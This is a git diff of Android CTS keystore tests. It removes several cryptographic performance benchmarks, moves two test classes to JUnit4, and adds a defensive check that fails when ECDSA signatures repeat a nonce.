- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import java.security.AlgorithmParameters;
-
-import javax.crypto.Cipher;
-import javax.crypto.SecretKey;
-
-public class DesCipherPerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_DES_KEY_SIZES = {168};
-    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
-
-    public void testDESede_CBC_NoPadding() throws Exception {
-        if (!TestUtils.supports3DES()) {
-            return;
-        }
-        testDesCipher("DESede/CBC/NoPadding", SUPPORTED_DES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testDESede_CBC_PKCS7Padding() throws Exception {
-        if (!TestUtils.supports3DES()) {
-            return;
-        }
-        testDesCipher("DESede/CBC/PKCS7Padding", SUPPORTED_DES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testDESede_ECB_NoPadding() throws Exception {
-        if (!TestUtils.supports3DES()) {
-            return;
-        }
-        testDesCipher("DESede/ECB/NoPadding", SUPPORTED_DES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testDESede_ECB_PKCS7Padding() throws Exception {
-        if (!TestUtils.supports3DES()) {
-            return;
-        }
-        testDesCipher("DESede/ECB/PKCS7Padding", SUPPORTED_DES_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    private void testDesCipher(String algorithm, int[] keySizes, int[] messageSizes)
-            throws Exception {
-        for (int keySize : keySizes) {
-            KeystoreKeyGenerator androidKeystoreDesGenerator =
-                    new AndroidKeystoreDesKeyGenerator(algorithm, keySize);
-            KeystoreKeyGenerator defaultKeystoreDesGenerator =
-                    new DefaultKeystoreSecretKeyGenerator(algorithm, keySize);
-            for (int messageSize : messageSizes) {
-                measure(
-                        new KeystoreDesEncryptMeasurable(
-                                androidKeystoreDesGenerator, keySize, messageSize),
-                        new KeystoreDesEncryptMeasurable(
-                                defaultKeystoreDesGenerator, keySize, messageSize),
-                        new KeystoreDesDecryptMeasurable(
-                                androidKeystoreDesGenerator, keySize, messageSize),
-                        new KeystoreDesDecryptMeasurable(
-                                defaultKeystoreDesGenerator, keySize, messageSize));
-            }
-        }
-    }
-
-    private class AndroidKeystoreDesKeyGenerator extends AndroidKeystoreKeyGenerator {
-        AndroidKeystoreDesKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getSecretKeyGenerator()
-                    .init(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_ENCRYPT
-                                                    | KeyProperties.PURPOSE_DECRYPT)
-                                    .setBlockModes(TestUtils.getCipherBlockMode(algorithm))
-                                    .setEncryptionPaddings(
-                                            TestUtils.getCipherEncryptionPadding(algorithm))
-                                    .setRandomizedEncryptionRequired(false)
-                                    .setKeySize(keySize)
-                                    .build());
-        }
-    }
-
-    private class KeystoreDesEncryptMeasurable extends KeystoreMeasurable {
-        private final Cipher mCipher;
-        private SecretKey mKey;
-
-        KeystoreDesEncryptMeasurable(
-                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
-            super(keyGenerator, "encrypt", keySize, messageSize);
-            mCipher = Cipher.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateSecretKey();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mCipher.init(Cipher.ENCRYPT_MODE, mKey);
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mCipher.doFinal(getMessage());
-        }
-    }
-
-    private class KeystoreDesDecryptMeasurable extends KeystoreMeasurable {
-        private final Cipher mCipher;
-        private byte[] mEncryptedMessage;
-        private SecretKey mKey;
-        private AlgorithmParameters mParameters;
-
-        KeystoreDesDecryptMeasurable(
-                KeystoreKeyGenerator keyGenerator, int keySize, int messageSize) throws Exception {
-            super(keyGenerator, "decrypt", keySize, messageSize);
-            mCipher = Cipher.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateSecretKey();
-            mCipher.init(Cipher.ENCRYPT_MODE, mKey);
-            mEncryptedMessage = mCipher.doFinal(getMessage());
-            mParameters = mCipher.getParameters();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mCipher.init(Cipher.DECRYPT_MODE, mKey, mParameters);
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mCipher.doFinal(mEncryptedMessage);
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/DesKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/DesKeyGenPerformanceTest.java
deleted file mode 100644
index 0d9d627..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/DesKeyGenPerformanceTest.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-public class DesKeyGenPerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_DES_KEY_SIZES = {168};
-
-    public void testDesKeyGen() throws Exception {
-        if (!TestUtils.supports3DES()) {
-            return;
-        }
-        for (int keySize : SUPPORTED_DES_KEY_SIZES) {
-            measure(
-                    new KeystoreSecretKeyGenMeasurable(
-                            new DefaultKeystoreSecretKeyGenerator("DESede", keySize), keySize),
-                    new KeystoreSecretKeyGenMeasurable(
-                            new AndroidKeystoreDesKeyGenerator("DESede", keySize), keySize));
-        }
-    }
-
-    private class AndroidKeystoreDesKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreDesKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getSecretKeyGenerator()
-                    .init(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_ENCRYPT
-                                                    | KeyProperties.PURPOSE_DECRYPT)
-                                    .setKeySize(keySize)
-                                    .build());
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
index de60e37..e13f8da 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ECDSASignatureTest.java
@@ -16,20 +16,56 @@
 
 package android.keystore.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
+import android.keystore.cts.util.ImportedKey;
+import android.keystore.cts.util.TestUtils;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
-import android.test.AndroidTestCase;
+import android.util.Log;
 
-import android.keystore.cts.R;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
+import com.android.internal.util.HexDump;
+
+import org.bouncycastle.asn1.ASN1Primitive;
+import org.bouncycastle.asn1.ASN1Sequence;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
 import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
 import java.security.Security;
 import java.security.Signature;
+import java.security.SignatureException;
+import java.security.spec.ECGenParameterSpec;
 import java.util.Arrays;
 import java.util.Collection;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Map;
 
-public class ECDSASignatureTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ECDSASignatureTest {
 
+    private static final String TAG = "ECDSASignatureTest";
+
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testNONEwithECDSATruncatesInputToFieldSize() throws Exception {
         for (ImportedKey key : importKatKeyPairs("NONEwithECDSA")) {
             try {
@@ -71,6 +107,7 @@
         assertFalse(signature.verify(sigBytes));
     }
 
+    @Test
     public void testNONEwithECDSASupportsMessagesShorterThanFieldSize() throws Exception {
         for (ImportedKey key : importKatKeyPairs("NONEwithECDSA")) {
             try {
@@ -82,6 +119,116 @@
         }
     }
 
+    /* Duplicate nonces can leak the ECDSA private key, even if each nonce is only used once per
+     * keypair. See Brengel & Rossow 2018 ( https://doi.org/10.1007/978-3-030-00470-5_29 ).
+     */
+    @Test
+    public void testECDSANonceReuse() throws Exception {
+        testECDSANonceReuse_Helper(false /* useStrongbox */, "secp224r1");
+        testECDSANonceReuse_Helper(false /* useStrongbox */, "secp256r1");
+        testECDSANonceReuse_Helper(false /* useStrongbox */, "secp384r1");
+        testECDSANonceReuse_Helper(false /* useStrongbox */, "secp521r1");
+
+        if (TestUtils.hasStrongBox(getContext())) {
+            testECDSANonceReuse_Helper(true /* useStrongbox */, "secp256r1");
+        }
+    }
+
+    private void testECDSANonceReuse_Helper(boolean useStrongbox, String curve)
+            throws NoSuchAlgorithmException, NoSuchProviderException,
+                    InvalidAlgorithmParameterException, InvalidKeyException, SignatureException,
+                    IOException {
+        KeyPair kp = generateKeyPairForNonceReuse_Helper(useStrongbox, curve);
+        /* An ECDSA signature is a pair of integers (r,s).
+         *
+         * Let G be the curve base point, let n be the order of G, and let k be a random
+         * per-signature nonce.
+         *
+         * ECDSA defines:
+         *     r := x_coordinate( k x G) mod n
+         *
+         * It follows that if r_1 == r_2 mod n, then k_1 == k_2 mod n. That is, congruent r
+         * values mod n imply a compromised private key.
+         */
+        Map<String, byte[]> rValueStrToSigMap = new HashMap<String, byte[]>();
+        for (byte i = 1; i <= 100; i++) {
+            byte[] message = new byte[] {i};
+            byte[] signature = computeSignatureForNonceReuse_Helper(message, kp);
+            byte[] rValue = extractRValueFromEcdsaSignature_Helper(signature);
+            String rValueStr = HexDump.toHexString(rValue);
+            if (!rValueStrToSigMap.containsKey(rValueStr)) {
+                rValueStrToSigMap.put(rValueStr, signature);
+                continue;
+            }
+            // Duplicate nonces.
+            Log.i(
+                    TAG,
+                    "Found duplicate nonce after "
+                            + Integer.toString(rValueStrToSigMap.size())
+                            + " ECDSA signatures.");
+
+            byte[] otherSig = rValueStrToSigMap.get(rValueStr);
+            String otherSigStr = HexDump.toHexString(otherSig);
+            String currentSigStr = HexDump.toHexString(signature);
+            fail(
+                    "Duplicate ECDSA nonce detected."
+                            + " Curve: " + curve
+                            + " Strongbox: " + Boolean.toString(useStrongbox)
+                            + " Signature 1: "
+                            + otherSigStr
+                            + " Signature 2: "
+                            + currentSigStr);
+        }
+    }
+
+    private KeyPair generateKeyPairForNonceReuse_Helper(boolean useStrongbox,
+            String curve)
+            throws NoSuchAlgorithmException, NoSuchProviderException,
+                    InvalidAlgorithmParameterException {
+        // We use a generated key instead of an imported key since key generation drains the entropy
+        // pool and thus increase the chance of duplicate nonces.
+        KeyPairGenerator generator = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
+        generator.initialize(
+                new KeyGenParameterSpec.Builder("test1", KeyProperties.PURPOSE_SIGN)
+                        .setAlgorithmParameterSpec(new ECGenParameterSpec(curve))
+                        .setDigests(KeyProperties.DIGEST_NONE, KeyProperties.DIGEST_SHA256)
+                        .setIsStrongBoxBacked(useStrongbox)
+                        .build());
+        KeyPair kp = generator.generateKeyPair();
+        return kp;
+    }
+
+    /**
+     * Extract the R value from the ECDSA signature.
+     *
+     * @param sigBytes ASN.1 encoded ECDSA signature.
+     * @return The r value extracted from the signature.
+     * @throws IOException
+     */
+    private byte[] extractRValueFromEcdsaSignature_Helper(byte[] sigBytes) throws IOException {
+        /* ECDSA Signature format (X9.62 Section 6.5):
+         * ECDSA-Sig-Value ::= SEQUENCE {
+         *      r INTEGER,
+         *      s INTEGER
+         *  }
+         */
+        ASN1Primitive sig1prim = ASN1Primitive.fromByteArray(sigBytes);
+        Enumeration secEnum = ((ASN1Sequence) sig1prim).getObjects();
+        ASN1Primitive seqObj = (ASN1Primitive) secEnum.nextElement();
+        // The first ASN1 object is the r value.
+        byte[] r = seqObj.getEncoded();
+        return r;
+    }
+
+    private byte[] computeSignatureForNonceReuse_Helper(byte[] message, KeyPair keyPair)
+            throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+        Signature signature = Signature.getInstance("NONEwithECDSA");
+        signature.initSign(keyPair.getPrivate());
+        signature.update(message);
+        byte[] sigBytes = signature.sign();
+        return sigBytes;
+    }
+
     private void assertNONEwithECDSASupportsMessagesShorterThanFieldSize(KeyPair keyPair)
             throws Exception {
         int keySizeBits = TestUtils.getKeySizeBits(keyPair.getPublic());
diff --git a/tests/tests/keystore/src/android/keystore/cts/EcKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/EcKeyGenPerformanceTest.java
deleted file mode 100644
index afedb9f..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/EcKeyGenPerformanceTest.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-import java.security.spec.ECGenParameterSpec;
-
-public class EcKeyGenPerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_CURVES = {224, 256, 384, 521};
-
-    public void testEcKeyGen() throws Exception {
-        for (int curve : SUPPORTED_CURVES) {
-            measure(
-                    new KeystoreKeyPairGenMeasurable(
-                            new AndroidKeystoreEcKeyGenerator("EC", curve), curve),
-                    new KeystoreKeyPairGenMeasurable(
-                            new DefaultKeystoreEcKeyGenerator("EC", curve), curve));
-        }
-    }
-
-    private class AndroidKeystoreEcKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreEcKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getKeyPairGenerator()
-                    .initialize(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_SIGN
-                                                    | KeyProperties.PURPOSE_VERIFY)
-                                    .setKeySize(keySize)
-                                    .build());
-        }
-    }
-
-    private class DefaultKeystoreEcKeyGenerator extends KeystoreKeyGenerator {
-
-        DefaultKeystoreEcKeyGenerator(String algorithm, int curve) throws Exception {
-            super(algorithm);
-            getKeyPairGenerator().initialize(curve);
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/EcdsaSignaturePerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/EcdsaSignaturePerformanceTest.java
deleted file mode 100644
index 179dacc..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/EcdsaSignaturePerformanceTest.java
+++ /dev/null
@@ -1,156 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-import java.security.KeyPair;
-import java.security.Signature;
-import java.security.spec.ECGenParameterSpec;
-
-public class EcdsaSignaturePerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_KEY_SIZES = {224, 256, 384, 521};
-    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
-
-    public void testNONEwithECDSA() throws Exception {
-        testEcdsaSign("NONEwithECDSA", TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA1withECDSA() throws Exception {
-        testEcdsaSign("SHA1withECDSA", TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA224withECDSA() throws Exception {
-        testEcdsaSign("SHA224withECDSA", TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA256withECDSA() throws Exception {
-        testEcdsaSign("SHA256withECDSA", TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA384withECDSA() throws Exception {
-        testEcdsaSign("SHA384withECDSA", TEST_MESSAGE_SIZES);
-    }
-
-    public void testSHA512withECDSA() throws Exception {
-        testEcdsaSign("SHA512withECDSA", TEST_MESSAGE_SIZES);
-    }
-
-    private void testEcdsaSign(String algorithm, int[] messageSizes) throws Exception {
-        for (int keySize : SUPPORTED_KEY_SIZES) {
-            KeystoreKeyGenerator androidKeystoreEcGenerator =
-                    new AndroidKeystoreEcKeyGenerator(algorithm, keySize);
-            KeystoreKeyGenerator defaultKeystoreEcGenerator =
-                    new DefaultKeystoreEcKeyGenerator(algorithm, keySize);
-            for (int messageSize : messageSizes) {
-                measure(
-                        new KeystoreEcSignMeasurable(
-                                androidKeystoreEcGenerator, keySize, messageSize),
-                        new KeystoreEcVerifyMeasurable(
-                                androidKeystoreEcGenerator, keySize, messageSize),
-                        new KeystoreEcSignMeasurable(
-                                defaultKeystoreEcGenerator, keySize, messageSize),
-                        new KeystoreEcVerifyMeasurable(
-                                defaultKeystoreEcGenerator, keySize, messageSize));
-            }
-        }
-    }
-
-    private class DefaultKeystoreEcKeyGenerator extends KeystoreKeyGenerator {
-
-        DefaultKeystoreEcKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getKeyPairGenerator().initialize(keySize);
-        }
-    }
-
-    private class AndroidKeystoreEcKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreEcKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getKeyPairGenerator()
-                    .initialize(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_SIGN
-                                                    | KeyProperties.PURPOSE_VERIFY)
-                                    .setKeySize(keySize)
-                                    .setDigests(TestUtils.getSignatureAlgorithmDigest(algorithm))
-                                    .build());
-        }
-    }
-
-    private class KeystoreEcSignMeasurable extends KeystoreMeasurable {
-        private final Signature mSignature;
-        private KeyPair mKey;
-
-        KeystoreEcSignMeasurable(KeystoreKeyGenerator keyGen, int keySize, int messageSize)
-                throws Exception {
-            super(keyGen, "sign", keySize, messageSize);
-            mSignature = Signature.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateKeyPair();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mSignature.initSign(mKey.getPrivate());
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mSignature.update(getMessage());
-            mSignature.sign();
-        }
-    }
-
-    private class KeystoreEcVerifyMeasurable extends KeystoreMeasurable {
-        private byte[] mMessageSignature;
-        private final Signature mSignature;
-        private KeyPair mKey;
-
-        KeystoreEcVerifyMeasurable(KeystoreKeyGenerator keyGen, int keySize, int messageSize)
-                throws Exception {
-            super(keyGen, "verify", keySize, messageSize);
-            mSignature = Signature.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateKeyPair();
-            mSignature.initSign(mKey.getPrivate());
-            mSignature.update(getMessage());
-            mMessageSignature = mSignature.sign();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mSignature.initVerify(mKey.getPublic());
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mSignature.update(getMessage());
-            mSignature.verify(mMessageSignature);
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/EmptyArray.java b/tests/tests/keystore/src/android/keystore/cts/EmptyArray.java
deleted file mode 100644
index bf08b73..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/EmptyArray.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.keystore.cts;
-
-abstract class EmptyArray {
-    private EmptyArray() {}
-
-    public static final byte[] BYTE = new byte[0];
-    public static final String[] STRING = new String[0];
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/HmacKeyGenPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/HmacKeyGenPerformanceTest.java
deleted file mode 100644
index 544621e..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/HmacKeyGenPerformanceTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-public class HmacKeyGenPerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_KEY_SIZES = {64, 128, 256, 512};
-
-    public void testHmacKeyGen() throws Exception {
-        for (int keySize : SUPPORTED_KEY_SIZES) {
-            measure(
-                    new KeystoreSecretKeyGenMeasurable(
-                            new AndroidKeystoreHmacKeyGenerator("HmacSHA1", keySize), keySize),
-                    new KeystoreSecretKeyGenMeasurable(
-                            new DefaultKeystoreSecretKeyGenerator("HmacSHA1", keySize), keySize));
-        }
-    }
-
-    private class AndroidKeystoreHmacKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreHmacKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getSecretKeyGenerator()
-                    .init(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_SIGN
-                                                    | KeyProperties.PURPOSE_VERIFY)
-                                    .setKeySize(keySize)
-                                    .build());
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/HmacMacPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/HmacMacPerformanceTest.java
deleted file mode 100644
index dc7de74..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/HmacMacPerformanceTest.java
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.keystore.cts;
-
-import android.security.keystore.KeyProperties;
-
-import org.junit.Test;
-
-import javax.crypto.Mac;
-import javax.crypto.SecretKey;
-
-public class HmacMacPerformanceTest extends PerformanceTestBase {
-
-    final int[] SUPPORTED_KEY_SIZES = {64, 128, 256, 512};
-    final int[] TEST_MESSAGE_SIZES = {1 << 6, 1 << 10, 1 << 17};
-
-    public void testHmacSHA1() throws Exception {
-        testHmac("HmacSHA1", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testHmacSHA224() throws Exception {
-        testHmac("HmacSHA224", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testHmacSHA256() throws Exception {
-        testHmac("HmacSHA256", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testHmacSHA384() throws Exception {
-        testHmac("HmacSHA384", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    public void testHmacSHA512() throws Exception {
-        testHmac("HmacSHA512", SUPPORTED_KEY_SIZES, TEST_MESSAGE_SIZES);
-    }
-
-    private void testHmac(String algorithm, int[] keySizes, int[] messageSizes) throws Exception {
-        for (int keySize : keySizes) {
-            KeystoreKeyGenerator androidKeystoreHmacKeyGenerator =
-                    new AndroidKeystoreHmacKeyGenerator(algorithm, keySize);
-            KeystoreKeyGenerator defaultKeystoreHmacGenerator =
-                    new DefaultKeystoreSecretKeyGenerator(algorithm, keySize);
-            for (int messageSize : messageSizes) {
-                measure(
-                        new KeystoreHmacMacMeasurable(
-                                androidKeystoreHmacKeyGenerator, keySize, messageSize),
-                        new KeystoreHmacMacMeasurable(
-                                defaultKeystoreHmacGenerator, keySize, messageSize));
-            }
-        }
-    }
-
-    private class AndroidKeystoreHmacKeyGenerator extends AndroidKeystoreKeyGenerator {
-
-        AndroidKeystoreHmacKeyGenerator(String algorithm, int keySize) throws Exception {
-            super(algorithm);
-            getSecretKeyGenerator()
-                    .init(
-                            getKeyGenParameterSpecBuilder(
-                                            KeyProperties.PURPOSE_SIGN
-                                                    | KeyProperties.PURPOSE_VERIFY)
-                                    .setKeySize(keySize)
-                                    .build());
-        }
-    }
-
-    private class KeystoreHmacMacMeasurable extends KeystoreMeasurable {
-        private final Mac mMac;
-        private SecretKey mKey;
-
-        public KeystoreHmacMacMeasurable(
-                KeystoreKeyGenerator generator, int keySize, int messageSize) throws Exception {
-            super(generator, "sign", keySize, messageSize);
-            mMac = Mac.getInstance(getAlgorithm());
-        }
-
-        @Override
-        public void initialSetUp() throws Exception {
-            mKey = generateSecretKey();
-        }
-
-        @Override
-        public void setUp() throws Exception {
-            mMac.init(mKey);
-        }
-
-        @Override
-        public void measure() throws Exception {
-            mMac.update(getMessage());
-            mMac.doFinal();
-        }
-    }
-}
diff --git a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
index e967438..e61d2b3 100644
--- a/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/ImportWrappedKeyTest.java
@@ -25,16 +25,24 @@
 import static android.security.keymaster.KeymasterDefs.KM_PAD_PKCS7;
 import static android.security.keymaster.KeymasterDefs.KM_PURPOSE_DECRYPT;
 import static android.security.keymaster.KeymasterDefs.KM_PURPOSE_ENCRYPT;
-import static android.security.keystore.KeyProperties.PURPOSE_WRAP_KEY;
 
-import android.content.pm.PackageManager;
-import android.os.SystemProperties;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.keystore.cts.util.TestUtils;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.SecureKeyImportUnavailableException;
 import android.security.keystore.StrongBoxUnavailableException;
 import android.security.keystore.WrappedKeyEntry;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.bouncycastle.asn1.ASN1Encoding;
 import org.bouncycastle.asn1.DEREncodableVector;
@@ -44,6 +52,8 @@
 import org.bouncycastle.asn1.DERSequence;
 import org.bouncycastle.asn1.DERSet;
 import org.bouncycastle.asn1.DERTaggedObject;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.security.Key;
 import java.security.KeyPair;
@@ -55,7 +65,6 @@
 import java.security.SecureRandom;
 import java.security.spec.AlgorithmParameterSpec;
 import java.security.spec.MGF1ParameterSpec;
-import java.security.spec.RSAKeyGenParameterSpec;
 import java.util.Arrays;
 
 import javax.crypto.Cipher;
@@ -66,14 +75,8 @@
 import javax.crypto.spec.PSource;
 import javax.crypto.spec.SecretKeySpec;
 
-import java.lang.Process;
-import java.io.InputStream;
-import java.io.InputStreamReader;
-import java.io.BufferedReader;
-import java.io.IOException;
-import java.lang.InterruptedException;
-
-public class ImportWrappedKeyTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class ImportWrappedKeyTest {
     private static final String TAG = "ImportWrappedKeyTest";
 
     private static final String ALIAS = "my key";
@@ -84,6 +87,11 @@
 
     SecureRandom random = new SecureRandom();
 
+    private Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
+    @Test
     public void testKeyStore_ImportWrappedKey() throws Exception {
         random.setSeed(0);
 
